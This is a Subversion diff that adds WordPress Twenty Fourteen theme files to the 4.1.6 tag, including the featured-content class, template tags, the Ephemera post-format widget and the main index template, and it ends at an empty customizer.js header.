+		if ( self::get_setting( 'hide-tag' ) ) {
+			add_filter( 'get_terms',     array( __CLASS__, 'hide_featured_term'     ), 10, 3 );
+			add_filter( 'get_the_terms', array( __CLASS__, 'hide_the_featured_term' ), 10, 3 );
+		}
+	}
+
+	/**
+	 * Get featured posts.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @return array Array of featured posts.
+	 */
+	public static function get_featured_posts() {
+		$post_ids = self::get_featured_post_ids();
+
+		// No need to query if there is are no featured posts.
+		if ( empty( $post_ids ) ) {
+			return array();
+		}
+
+		$featured_posts = get_posts( array(
+			'include'        => $post_ids,
+			'posts_per_page' => count( $post_ids ),
+		) );
+
+		return $featured_posts;
+	}
+
+	/**
+	 * Get featured post IDs
+	 *
+	 * This function will return the an array containing the
+	 * post IDs of all featured posts.
+	 *
+	 * Sets the "featured_content_ids" transient.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @return array Array of post IDs.
+	 */
+	public static function get_featured_post_ids() {
+		// Get array of cached results if they exist.
+		$featured_ids = get_transient( 'featured_content_ids' );
+
+		if ( false === $featured_ids ) {
+			$settings = self::get_setting();
+			$term     = get_term_by( 'name', $settings['tag-name'], 'post_tag' );
+
+			if ( $term ) {
+				// Query for featured posts.
+				$featured_ids = get_posts( array(
+					'fields'           => 'ids',
+					'numberposts'      => self::$max_posts,
+					'suppress_filters' => false,
+					'tax_query'        => array(
+						array(
+							'field'    => 'term_id',
+							'taxonomy' => 'post_tag',
+							'terms'    => $term->term_id,
+						),
+					),
+				) );
+			}
+
+			// Get sticky posts if no Featured Content exists.
+			if ( ! $featured_ids ) {
+				$featured_ids = self::get_sticky_posts();
+			}
+
+			set_transient( 'featured_content_ids', $featured_ids );
+		}
+
+		// Ensure correct format before return.
+		return array_map( 'absint', $featured_ids );
+	}
+
+	/**
+	 * Return an array with IDs of posts maked as sticky.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @return array Array of sticky posts.
+	 */
+	public static function get_sticky_posts() {
+		return array_slice( get_option( 'sticky_posts', array() ), 0, self::$max_posts );
+	}
+
+	/**
+	 * Delete featured content ids transient.
+	 *
+	 * Hooks in the "save_post" action.
+	 *
+	 * @see Featured_Content::validate_settings().
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function delete_transient() {
+		delete_transient( 'featured_content_ids' );
+	}
+
+	/**
+	 * Exclude featured posts from the home page blog query.
+	 *
+	 * Filter the home page posts, and remove any featured post ID's from it.
+	 * Hooked onto the 'pre_get_posts' action, this changes the parameters of
+	 * the query before it gets any posts.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param WP_Query $query WP_Query object.
+	 * @return WP_Query Possibly-modified WP_Query.
+	 */
+	public static function pre_get_posts( $query ) {
+
+		// Bail if not home or not main query.
+		if ( ! $query->is_home() || ! $query->is_main_query() ) {
+			return;
+		}
+
+		// Bail if the blog page is not the front page.
+		if ( 'posts' !== get_option( 'show_on_front' ) ) {
+			return;
+		}
+
+		$featured = self::get_featured_post_ids();
+
+		// Bail if no featured posts.
+		if ( ! $featured ) {
+			return;
+		}
+
+		// We need to respect post ids already in the blacklist.
+		$post__not_in = $query->get( 'post__not_in' );
+
+		if ( ! empty( $post__not_in ) ) {
+			$featured = array_merge( (array) $post__not_in, $featured );
+			$featured = array_unique( $featured );
+		}
+
+		$query->set( 'post__not_in', $featured );
+	}
+
+	/**
+	 * Reset tag option when the saved tag is deleted.
+	 *
+	 * It's important to mention that the transient needs to be deleted,
+	 * too. While it may not be obvious by looking at the function alone,
+	 * the transient is deleted by Featured_Content::validate_settings().
+	 *
+	 * Hooks in the "delete_post_tag" action.
+	 *
+	 * @see Featured_Content::validate_settings().
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param int $tag_id The term_id of the tag that has been deleted.
+	 */
+	public static function delete_post_tag( $tag_id ) {
+		$settings = self::get_setting();
+
+		if ( empty( $settings['tag-id'] ) || $tag_id != $settings['tag-id'] ) {
+			return;
+		}
+
+		$settings['tag-id'] = 0;
+		$settings = self::validate_settings( $settings );
+		update_option( 'featured-content', $settings );
+	}
+
+	/**
+	 * Hide featured tag from displaying when global terms are queried from the front-end.
+	 *
+	 * Hooks into the "get_terms" filter.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $terms      List of term objects. This is the return value of get_terms().
+	 * @param array $taxonomies An array of taxonomy slugs.
+	 * @return array A filtered array of terms.
+	 *
+	 * @uses Featured_Content::get_setting()
+	 */
+	public static function hide_featured_term( $terms, $taxonomies, $args ) {
+
+		// This filter is only appropriate on the front-end.
+		if ( is_admin() ) {
+			return $terms;
+		}
+
+		// We only want to hide the featured tag.
+		if ( ! in_array( 'post_tag', $taxonomies ) ) {
+			return $terms;
+		}
+
+		// Bail if no terms were returned.
+		if ( empty( $terms ) ) {
+			return $terms;
+		}
+
+		// Bail if term objects are unavailable.
+		if ( 'all' != $args['fields'] ) {
+			return $terms;
+		}
+
+		$settings = self::get_setting();
+		foreach( $terms as $order => $term ) {
+			if ( ( $settings['tag-id'] === $term->term_id || $settings['tag-name'] === $term->name ) && 'post_tag' === $term->taxonomy ) {
+				unset( $terms[ $order ] );
+			}
+		}
+
+		return $terms;
+	}
+
+	/**
+	 * Hide featured tag from display when terms associated with a post object
+	 * are queried from the front-end.
+	 *
+	 * Hooks into the "get_the_terms" filter.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $terms    A list of term objects. This is the return value of get_the_terms().
+	 * @param int   $id       The ID field for the post object that terms are associated with.
+	 * @param array $taxonomy An array of taxonomy slugs.
+	 * @return array Filtered array of terms.
+	 *
+	 * @uses Featured_Content::get_setting()
+	 */
+	public static function hide_the_featured_term( $terms, $id, $taxonomy ) {
+
+		// This filter is only appropriate on the front-end.
+		if ( is_admin() ) {
+			return $terms;
+		}
+
+		// Make sure we are in the correct taxonomy.
+		if ( 'post_tag' != $taxonomy ) {
+			return $terms;
+		}
+
+		// No terms? Return early!
+		if ( empty( $terms ) ) {
+			return $terms;
+		}
+
+		$settings = self::get_setting();
+		foreach( $terms as $order => $term ) {
+			if ( ( $settings['tag-id'] === $term->term_id || $settings['tag-name'] === $term->name ) && 'post_tag' === $term->taxonomy ) {
+				unset( $terms[ $term->term_id ] );
+			}
+		}
+
+		return $terms;
+	}
+
+	/**
+	 * Register custom setting on the Settings -> Reading screen.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function register_setting() {
+		register_setting( 'featured-content', 'featured-content', array( __CLASS__, 'validate_settings' ) );
+	}
+
+	/**
+	 * Add settings to the Customizer.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param WP_Customize_Manager $wp_customize Customizer object.
+	 */
+	public static function customize_register( $wp_customize ) {
+		$wp_customize->add_section( 'featured_content', array(
+			'title'          => __( 'Featured Content', 'twentyfourteen' ),
+			'description'    => sprintf( __( 'Use a <a href="%1$s">tag</a> to feature your posts. If no posts match the tag, <a href="%2$s">sticky posts</a> will be displayed instead.', 'twentyfourteen' ),
+				esc_url( add_query_arg( 'tag', _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ), admin_url( 'edit.php' ) ) ),
+				admin_url( 'edit.php?show_sticky=1' )
+			),
+			'priority'       => 130,
+			'theme_supports' => 'featured-content',
+		) );
+
+		// Add Featured Content settings.
+		$wp_customize->add_setting( 'featured-content[tag-name]', array(
+			'default'              => _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ),
+			'type'                 => 'option',
+			'sanitize_js_callback' => array( __CLASS__, 'delete_transient' ),
+		) );
+		$wp_customize->add_setting( 'featured-content[hide-tag]', array(
+			'default'              => true,
+			'type'                 => 'option',
+			'sanitize_js_callback' => array( __CLASS__, 'delete_transient' ),
+		) );
+
+		// Add Featured Content controls.
+		$wp_customize->add_control( 'featured-content[tag-name]', array(
+			'label'    => __( 'Tag Name', 'twentyfourteen' ),
+			'section'  => 'featured_content',
+			'priority' => 20,
+		) );
+		$wp_customize->add_control( 'featured-content[hide-tag]', array(
+			'label'    => __( 'Don&rsquo;t display tag on front end.', 'twentyfourteen' ),
+			'section'  => 'featured_content',
+			'type'     => 'checkbox',
+			'priority' => 30,
+		) );
+	}
+
+	/**
+	 * Enqueue the tag suggestion script.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function enqueue_scripts() {
+		wp_enqueue_script( 'featured-content-suggest', get_template_directory_uri() . '/js/featured-content-admin.js', array( 'jquery', 'suggest' ), '20131022', true );
+	}
+
+	/**
+	 * Get featured content settings.
+	 *
+	 * Get all settings recognized by this module. This function
+	 * will return all settings whether or not they have been stored
+	 * in the database yet. This ensures that all keys are available
+	 * at all times.
+	 *
+	 * In the event that you only require one setting, you may pass
+	 * its name as the first parameter to the function and only that
+	 * value will be returned.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param string $key The key of a recognized setting.
+	 * @return mixed Array of all settings by default. A single value if passed as first parameter.
+	 */
+	public static function get_setting( $key = 'all' ) {
+		$saved = (array) get_option( 'featured-content' );
+
+		$defaults = array(
+			'hide-tag' => 1,
+			'tag-id'   => 0,
+			'tag-name' => _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ),
+		);
+
+		$options = wp_parse_args( $saved, $defaults );
+		$options = array_intersect_key( $options, $defaults );
+
+		if ( 'all' != $key ) {
+			return isset( $options[ $key ] ) ? $options[ $key ] : false;
+		}
+
+		return $options;
+	}
+
+	/**
+	 * Validate featured content settings.
+	 *
+	 * Make sure that all user supplied content is in an expected
+	 * format before saving to the database. This function will also
+	 * delete the transient set in Featured_Content::get_featured_content().
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $input Array of settings input.
+	 * @return array Validated settings output.
+	 */
+	public static function validate_settings( $input ) {
+		$output = array();
+
+		if ( empty( $input['tag-name'] ) ) {
+			$output['tag-id'] = 0;
+		} else {
+			$term = get_term_by( 'name', $input['tag-name'], 'post_tag' );
+
+			if ( $term ) {
+				$output['tag-id'] = $term->term_id;
+			} else {
+				$new_tag = wp_create_tag( $input['tag-name'] );
+
+				if ( ! is_wp_error( $new_tag ) && isset( $new_tag['term_id'] ) ) {
+					$output['tag-id'] = $new_tag['term_id'];
+				}
+			}
+
+			$output['tag-name'] = $input['tag-name'];
+		}
+
+		$output['hide-tag'] = isset( $input['hide-tag'] ) && $input['hide-tag'] ? 1 : 0;
+
+		// Delete the featured post ids transient.
+		self::delete_transient();
+
+		return $output;
+	}
+} // Featured_Content
+
+Featured_Content::setup();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/template-tags.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/template-tags.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/template-tags.php	(revision 33402)
@@ -0,0 +1,224 @@
+<?php
+/**
+ * Custom template tags for Twenty Fourteen
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+if ( ! function_exists( 'twentyfourteen_paging_nav' ) ) :
+/**
+ * Display navigation to next/previous set of posts when applicable.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @global WP_Query   $wp_query   WordPress Query object.
+ * @global WP_Rewrite $wp_rewrite WordPress Rewrite object.
+ */
+function twentyfourteen_paging_nav() {
+	global $wp_query, $wp_rewrite;
+
+	// Don't print empty markup if there's only one page.
+	if ( $wp_query->max_num_pages < 2 ) {
+		return;
+	}
+
+	$paged        = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
+	$pagenum_link = html_entity_decode( get_pagenum_link() );
+	$query_args   = array();
+	$url_parts    = explode( '?', $pagenum_link );
+
+	if ( isset( $url_parts[1] ) ) {
+		wp_parse_str( $url_parts[1], $query_args );
+	}
+
+	$pagenum_link = remove_query_arg( array_keys( $query_args ), $pagenum_link );
+	$pagenum_link = trailingslashit( $pagenum_link ) . '%_%';
+
+	$format  = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
+	$format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
+
+	// Set up paginated links.
+	$links = paginate_links( array(
+		'base'     => $pagenum_link,
+		'format'   => $format,
+		'total'    => $wp_query->max_num_pages,
+		'current'  => $paged,
+		'mid_size' => 1,
+		'add_args' => array_map( 'urlencode', $query_args ),
+		'prev_text' => __( '&larr; Previous', 'twentyfourteen' ),
+		'next_text' => __( 'Next &rarr;', 'twentyfourteen' ),
+	) );
+
+	if ( $links ) :
+
+	?>
+	<nav class="navigation paging-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Posts navigation', 'twentyfourteen' ); ?></h1>
+		<div class="pagination loop-pagination">
+			<?php echo $links; ?>
+		</div><!-- .pagination -->
+	</nav><!-- .navigation -->
+	<?php
+	endif;
+}
+endif;
+
+if ( ! function_exists( 'twentyfourteen_post_nav' ) ) :
+/**
+ * Display navigation to next/previous post when applicable.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_post_nav() {
+	// Don't print empty markup if there's nowhere to navigate.
+	$previous = ( is_attachment() ) ? get_post( get_post()->post_parent ) : get_adjacent_post( false, '', true );
+	$next     = get_adjacent_post( false, '', false );
+
+	if ( ! $next && ! $previous ) {
+		return;
+	}
+
+	?>
+	<nav class="navigation post-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Post navigation', 'twentyfourteen' ); ?></h1>
+		<div class="nav-links">
+			<?php
+			if ( is_attachment() ) :
+				previous_post_link( '%link', __( '<span class="meta-nav">Published In</span>%title', 'twentyfourteen' ) );
+			else :
+				previous_post_link( '%link', __( '<span class="meta-nav">Previous Post</span>%title', 'twentyfourteen' ) );
+				next_post_link( '%link', __( '<span class="meta-nav">Next Post</span>%title', 'twentyfourteen' ) );
+			endif;
+			?>
+		</div><!-- .nav-links -->
+	</nav><!-- .navigation -->
+	<?php
+}
+endif;
+
+if ( ! function_exists( 'twentyfourteen_posted_on' ) ) :
+/**
+ * Print HTML with meta information for the current post-date/time and author.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_posted_on() {
+	if ( is_sticky() && is_home() && ! is_paged() ) {
+		echo '<span class="featured-post">' . __( 'Sticky', 'twentyfourteen' ) . '</span>';
+	}
+
+	// Set up and print post meta information.
+	printf( '<span class="entry-date"><a href="%1$s" rel="bookmark"><time class="entry-date" datetime="%2$s">%3$s</time></a></span> <span class="byline"><span class="author vcard"><a class="url fn n" href="%4$s" rel="author">%5$s</a></span></span>',
+		esc_url( get_permalink() ),
+		esc_attr( get_the_date( 'c' ) ),
+		esc_html( get_the_date() ),
+		esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+		get_the_author()
+	);
+}
+endif;
+
+/**
+ * Find out if blog has more than one category.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @return boolean true if blog has more than 1 category
+ */
+function twentyfourteen_categorized_blog() {
+	if ( false === ( $all_the_cool_cats = get_transient( 'twentyfourteen_category_count' ) ) ) {
+		// Create an array of all the categories that are attached to posts
+		$all_the_cool_cats = get_categories( array(
+			'hide_empty' => 1,
+		) );
+
+		// Count the number of categories that are attached to the posts
+		$all_the_cool_cats = count( $all_the_cool_cats );
+
+		set_transient( 'twentyfourteen_category_count', $all_the_cool_cats );
+	}
+
+	if ( 1 !== (int) $all_the_cool_cats ) {
+		// This blog has more than 1 category so twentyfourteen_categorized_blog should return true
+		return true;
+	} else {
+		// This blog has only 1 category so twentyfourteen_categorized_blog should return false
+		return false;
+	}
+}
+
+/**
+ * Flush out the transients used in twentyfourteen_categorized_blog.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_category_transient_flusher() {
+	// Like, beat it. Dig?
+	delete_transient( 'twentyfourteen_category_count' );
+}
+add_action( 'edit_category', 'twentyfourteen_category_transient_flusher' );
+add_action( 'save_post',     'twentyfourteen_category_transient_flusher' );
+
+/**
+ * Display an optional post thumbnail.
+ *
+ * Wraps the post thumbnail in an anchor element on index
+ * views, or a div element when on single views.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_post_thumbnail() {
+	if ( post_password_required() || is_attachment() || ! has_post_thumbnail() ) {
+		return;
+	}
+
+	if ( is_singular() ) :
+	?>
+
+	<div class="post-thumbnail">
+	<?php
+		if ( ( ! is_active_sidebar( 'sidebar-2' ) || is_page_template( 'page-templates/full-width.php' ) ) ) {
+			the_post_thumbnail( 'twentyfourteen-full-width' );
+		} else {
+			the_post_thumbnail();
+		}
+	?>
+	</div>
+
+	<?php else : ?>
+
+	<a class="post-thumbnail" href="<?php the_permalink(); ?>" aria-hidden="true">
+	<?php
+		if ( ( ! is_active_sidebar( 'sidebar-2' ) || is_page_template( 'page-templates/full-width.php' ) ) ) {
+			the_post_thumbnail( 'twentyfourteen-full-width' );
+		} else {
+			the_post_thumbnail( 'post-thumbnail', array( 'alt' => get_the_title() ) );
+		}
+	?>
+	</a>
+
+	<?php endif; // End is_singular()
+}
+
+if ( ! function_exists( 'twentyfourteen_excerpt_more' ) && ! is_admin() ) :
+/**
+ * Replaces "[...]" (appended to automatically generated excerpts) with ...
+ * and a Continue reading link.
+ *
+ * @since Twenty Fourteen 1.3
+ *
+ * @param string $more Default Read More excerpt link.
+ * @return string Filtered Read More excerpt link.
+ */
+function twentyfourteen_excerpt_more( $more ) {
+	$link = sprintf( '<a href="%1$s" class="more-link">%2$s</a>',
+		esc_url( get_permalink( get_the_ID() ) ),
+			/* translators: %s: Name of current post */
+			sprintf( __( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ), '<span class="screen-reader-text">' . get_the_title( get_the_ID() ) . '</span>' )
+		);
+	return ' &hellip; ' . $link;
+}
+add_filter( 'excerpt_more', 'twentyfourteen_excerpt_more' );
+endif;
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/widgets.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/widgets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/widgets.php	(revision 33402)
@@ -0,0 +1,269 @@
+<?php
+/**
+ * Custom Widget for displaying specific post formats
+ *
+ * Displays posts from Aside, Quote, Video, Audio, Image, Gallery, and Link formats.
+ *
+ * @link http://codex.wordpress.org/Widgets_API#Developing_Widgets
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+class Twenty_Fourteen_Ephemera_Widget extends WP_Widget {
+
+	/**
+	 * The supported post formats.
+	 *
+	 * @access private
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @var array
+	 */
+	private $formats = array( 'aside', 'image', 'video', 'audio', 'quote', 'link', 'gallery' );
+
+	/**
+	 * Constructor.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @return Twenty_Fourteen_Ephemera_Widget
+	 */
+	public function __construct() {
+		parent::__construct( 'widget_twentyfourteen_ephemera', __( 'Twenty Fourteen Ephemera', 'twentyfourteen' ), array(
+			'classname'   => 'widget_twentyfourteen_ephemera',
+			'description' => __( 'Use this widget to list your recent Aside, Quote, Video, Audio, Image, Gallery, and Link posts.', 'twentyfourteen' ),
+		) );
+	}
+
+	/**
+	 * Output the HTML for this widget.
+	 *
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $args     An array of standard parameters for widgets in this theme.
+	 * @param array $instance An array of settings for this widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		$format = isset( $instance['format'] ) && in_array( $instance['format'], $this->formats ) ? $instance['format'] : 'aside';
+
+		switch ( $format ) {
+			case 'image':
+				$format_string      = __( 'Images', 'twentyfourteen' );
+				$format_string_more = __( 'More images', 'twentyfourteen' );
+				break;
+			case 'video':
+				$format_string      = __( 'Videos', 'twentyfourteen' );
+				$format_string_more = __( 'More videos', 'twentyfourteen' );
+				break;
+			case 'audio':
+				$format_string      = __( 'Audio', 'twentyfourteen' );
+				$format_string_more = __( 'More audio', 'twentyfourteen' );
+				break;
+			case 'quote':
+				$format_string      = __( 'Quotes', 'twentyfourteen' );
+				$format_string_more = __( 'More quotes', 'twentyfourteen' );
+				break;
+			case 'link':
+				$format_string      = __( 'Links', 'twentyfourteen' );
+				$format_string_more = __( 'More links', 'twentyfourteen' );
+				break;
+			case 'gallery':
+				$format_string      = __( 'Galleries', 'twentyfourteen' );
+				$format_string_more = __( 'More galleries', 'twentyfourteen' );
+				break;
+			case 'aside':
+			default:
+				$format_string      = __( 'Asides', 'twentyfourteen' );
+				$format_string_more = __( 'More asides', 'twentyfourteen' );
+				break;
+		}
+
+		$number = empty( $instance['number'] ) ? 2 : absint( $instance['number'] );
+		$title  = apply_filters( 'widget_title', empty( $instance['title'] ) ? $format_string : $instance['title'], $instance, $this->id_base );
+
+		$ephemera = new WP_Query( array(
+			'order'          => 'DESC',
+			'posts_per_page' => $number,
+			'no_found_rows'  => true,
+			'post_status'    => 'publish',
+			'post__not_in'   => get_option( 'sticky_posts' ),
+			'tax_query'      => array(
+				array(
+					'taxonomy' => 'post_format',
+					'terms'    => array( "post-format-$format" ),
+					'field'    => 'slug',
+					'operator' => 'IN',
+				),
+			),
+		) );
+
+		if ( $ephemera->have_posts() ) :
+			$tmp_content_width = $GLOBALS['content_width'];
+			$GLOBALS['content_width'] = 306;
+
+			echo $args['before_widget'];
+			?>
+			<h1 class="widget-title <?php echo esc_attr( $format ); ?>">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( $format ) ); ?>"><?php echo $title; ?></a>
+			</h1>
+			<ol>
+
+				<?php
+					while ( $ephemera->have_posts() ) :
+						$ephemera->the_post();
+						$tmp_more = $GLOBALS['more'];
+						$GLOBALS['more'] = 0;
+				?>
+				<li>
+				<article <?php post_class(); ?>>
+					<div class="entry-content">
+						<?php
+							if ( has_post_format( 'gallery' ) ) :
+
+								if ( post_password_required() ) :
+									the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ) );
+								else :
+									$images = array();
+
+									$galleries = get_post_galleries( get_the_ID(), false );
+									if ( isset( $galleries[0]['ids'] ) )
+										$images = explode( ',', $galleries[0]['ids'] );
+
+									if ( ! $images ) :
+										$images = get_posts( array(
+											'fields'         => 'ids',
+											'numberposts'    => -1,
+											'order'          => 'ASC',
+											'orderby'        => 'menu_order',
+											'post_mime_type' => 'image',
+											'post_parent'    => get_the_ID(),
+											'post_type'      => 'attachment',
+										) );
+									endif;
+
+									$total_images = count( $images );
+
+									if ( has_post_thumbnail() ) :
+										$post_thumbnail = get_the_post_thumbnail();
+									elseif ( $total_images > 0 ) :
+										$image          = array_shift( $images );
+										$post_thumbnail = wp_get_attachment_image( $image, 'post-thumbnail' );
+									endif;
+
+									if ( ! empty ( $post_thumbnail ) ) :
+						?>
+						<a href="<?php the_permalink(); ?>"><?php echo $post_thumbnail; ?></a>
+						<?php endif; ?>
+						<p class="wp-caption-text">
+							<?php
+								printf( _n( 'This gallery contains <a href="%1$s" rel="bookmark">%2$s photo</a>.', 'This gallery contains <a href="%1$s" rel="bookmark">%2$s photos</a>.', $total_images, 'twentyfourteen' ),
+									esc_url( get_permalink() ),
+									number_format_i18n( $total_images )
+								);
+							?>
+						</p>
+						<?php
+								endif;
+
+							else :
+								the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ) );
+							endif;
+						?>
+					</div><!-- .entry-content -->
+
+					<header class="entry-header">
+						<div class="entry-meta">
+							<?php
+								if ( ! has_post_format( 'link' ) ) :
+									the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+								endif;
+
+								printf( '<span class="entry-date"><a href="%1$s" rel="bookmark"><time class="entry-date" datetime="%2$s">%3$s</time></a></span> <span class="byline"><span class="author vcard"><a class="url fn n" href="%4$s" rel="author">%5$s</a></span></span>',
+									esc_url( get_permalink() ),
+									esc_attr( get_the_date( 'c' ) ),
+									esc_html( get_the_date() ),
+									esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+									get_the_author()
+								);
+
+								if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) :
+							?>
+							<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+							<?php endif; ?>
+						</div><!-- .entry-meta -->
+					</header><!-- .entry-header -->
+				</article><!-- #post-## -->
+				</li>
+				<?php endwhile; ?>
+
+			</ol>
+			<a class="post-format-archive-link" href="<?php echo esc_url( get_post_format_link( $format ) ); ?>">
+				<?php
+					/* translators: used with More archives link */
+					printf( __( '%s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ), $format_string_more );
+				?>
+			</a>
+			<?php
+
+			echo $args['after_widget'];
+
+			// Reset the post globals as this query will have stomped on it.
+			wp_reset_postdata();
+
+			$GLOBALS['more']          = $tmp_more;
+			$GLOBALS['content_width'] = $tmp_content_width;
+
+		endif; // End check for ephemeral posts.
+	}
+
+	/**
+	 * Deal with the settings when they are saved by the admin.
+	 *
+	 * Here is where any validation should happen.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $new_instance New widget instance.
+	 * @param array $instance     Original widget instance.
+	 * @return array Updated widget instance.
+	 */
+	function update( $new_instance, $instance ) {
+		$instance['title']  = strip_tags( $new_instance['title'] );
+		$instance['number'] = empty( $new_instance['number'] ) ? 2 : absint( $new_instance['number'] );
+		if ( in_array( $new_instance['format'], $this->formats ) ) {
+			$instance['format'] = $new_instance['format'];
+		}
+
+		return $instance;
+	}
+
+	/**
+	 * Display the form for this widget on the Widgets page of the Admin area.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $instance
+	 */
+	function form( $instance ) {
+		$title  = empty( $instance['title'] ) ? '' : esc_attr( $instance['title'] );
+		$number = empty( $instance['number'] ) ? 2 : absint( $instance['number'] );
+		$format = isset( $instance['format'] ) && in_array( $instance['format'], $this->formats ) ? $instance['format'] : 'aside';
+		?>
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:', 'twentyfourteen' ); ?></label>
+			<input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>"></p>
+
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php _e( 'Number of posts to show:', 'twentyfourteen' ); ?></label>
+			<input id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>" type="text" value="<?php echo esc_attr( $number ); ?>" size="3"></p>
+
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'format' ) ); ?>"><?php _e( 'Post format to show:', 'twentyfourteen' ); ?></label>
+			<select id="<?php echo esc_attr( $this->get_field_id( 'format' ) ); ?>" class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'format' ) ); ?>">
+				<?php foreach ( $this->formats as $slug ) : ?>
+				<option value="<?php echo esc_attr( $slug ); ?>"<?php selected( $format, $slug ); ?>><?php echo get_post_format_string( $slug ); ?></option>
+				<?php endforeach; ?>
+			</select>
+		<?php
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/index.php	(revision 33402)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme and one
+ * of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query,
+ * e.g., it puts together the home page when no home.php file exists.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="main-content" class="main-content">
+
+<?php
+	if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
+		// Include the featured content template.
+		get_template_part( 'featured-content' );
+	}
+?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php
+			if ( have_posts() ) :
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+
+					/*
+					 * Include the post format-specific template for the content. If you want to
+					 * use this in a child theme, then include a file called called content-___.php
+					 * (where ___ is the post format) and that will be used instead.
+					 */
+					get_template_part( 'content', get_post_format() );
+
+				endwhile;
+				// Previous/next post navigation.
+				twentyfourteen_paging_nav();
+
+			else :
+				// If no content, include the "No posts found" template.
+				get_template_part( 'content', 'none' );
+
+			endif;
+		?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+	<?php get_sidebar( 'content' ); ?>
+</div><!-- #main-content -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/customizer.js
===================================================================
